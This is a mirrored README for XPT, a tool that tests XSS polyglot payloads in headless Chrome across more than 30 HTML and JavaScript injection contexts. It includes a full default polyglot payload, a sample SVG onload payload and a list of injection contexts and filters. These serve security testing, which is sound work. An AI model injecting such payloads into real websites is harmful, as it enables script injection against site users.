Giter Site home page Giter Site logo

xpt's Introduction

XPT - XSS Polyglot Tester

XPT is a XSS polyglot testing platform allowing to test an XSS polyglot in more than 30 contexts in less than 1 minute.

This project use Google Chrome headless mode to test the execution of the XSS payload.

asciicast

Setup on Debian

# Install Google Chrome
# https://askubuntu.com/questions/79280/how-to-install-chrome-browser-properly-via-command-line
sudo apt-get install libxss1 libappindicator1 libindicator7
wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
sudo dpkg -i google-chrome*.deb  # Might show "errors", fixed by next line
sudo apt-get install -f

# Install Node Stable (v8)
curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash -
sudo apt-get install -y nodejs

# Run Chrome as background process
# https://chromium.googlesource.com/chromium/src/+/lkgr/headless/README.md
# --disable-gpu currently required, see link above
google-chrome --headless --hide-scrollbars --remote-debugging-port=9222 --disable-gpu &

# Clone git repository
git clone https://github.com/xajkep/xpt
cd xpt/

# Create all contexts
python create_all_contexts.py

# Install NodeJS dependencies
npm install

# Start local Web server 
cd server/
php -S 127.0.0.1:8080

# Run tests in all contexts for the given payload
python xpt.py --mode context --xss "<svg/onload=alert()>"

Usage

    ____  ________________________
    \   \/  /\______   \__    ___/
     \     /  |     ___/ |    |   
     /     \  |    |     |    |   
    /___/\  \ |____|     |____|   
          \_/  XSS Polyglot Tester
                           @xajkep
    
usage: xpt.py [-h] [--mode MODE] [--xss XSS] [--context CONTEXT] [--list LIST]
              [--verbose VERBOSE]

optional arguments:
  -h, --help         show this help message and exit
  --mode MODE        Accepted values: 'context', 'filter' or 'test'
  --xss XSS          XSS payload
  --context CONTEXT
  --list LIST        List available contexts or filters
  --verbose VERBOSE  Yes or No

Run tests

All contexts in contexts.json have a test case in order to check if the XSS is possible or not. You can test them all by running the following commands.

python xpt.py --mode test

Default XSS polyglot

jaVaSCriPt:/*\\x3csvG/oNloAd=alert()\\x3e*/alert()//</stYle/</tiTle/</texTarEa/</scrIpt/--!><sVg//*`/*\"/*'/**/(_=alert())//\\%0a;alert()//'/oNlOad=alert() OncLick=alert()//>;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoKT4K

Contexts

Available contexts:

  • html-element
  • html-attribute-value-double-quoted
  • html-attribute-value-single-quoted
  • html-attribute-value-not-quoted
  • html-attribute-value-not-quoted-htmlescaped
  • html-attribute-name
  • html-comment
  • textarea-element
  • title-element
  • style-element
  • style-multiline-comment
  • script-not-quoted
  • script-double-quoted
  • script-single-quoted
  • script-line-comment
  • script-line-comment-htmlescaped
  • script-multiline-comment
  • script-multiline-comment-htmlescaped
  • script-eval-backticked-htmlescaped
  • script-eval-double-quoted-htmlescaped
  • script-innerhtml-single-quote-htmlescaped
  • href-attribute-not-quoted
  • href-attribute-double-quoted
  • href-attribute-single-quoted
  • href-attribute-single-quoted-htmlescaped
  • external-script
  • external-script-htmlescaped
  • external-script-single-quoted
  • external-script-double-quoted
  • external-script-template-string-backticked
  • iframe-srcdoc-htmlescaped
  • data-uri-texthtml-htmlescaped

You can edit contexts in contexts.json file.

Filters

Available filters:

  • html-comment
  • lowercase-words
  • lowercase-js-event-handlers-format
  • js-event-handlers-format
  • html-closing-tags
  • html-classic-tag-beginning

You can edit filters in filters.json file.

How JS execution is detected ?

In fact, JS execution is not detected, only alert() execution is detected.

The nodejs script also simulate user click on the following HTML tags:

<div>
<a>
<p>
<input>
<img>
<video>
<button>
<x>

Click will be done only on the first tag found (for each tags).

Sources / Resources

xpt's People

Contributors

dpanic avatar xajkep avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.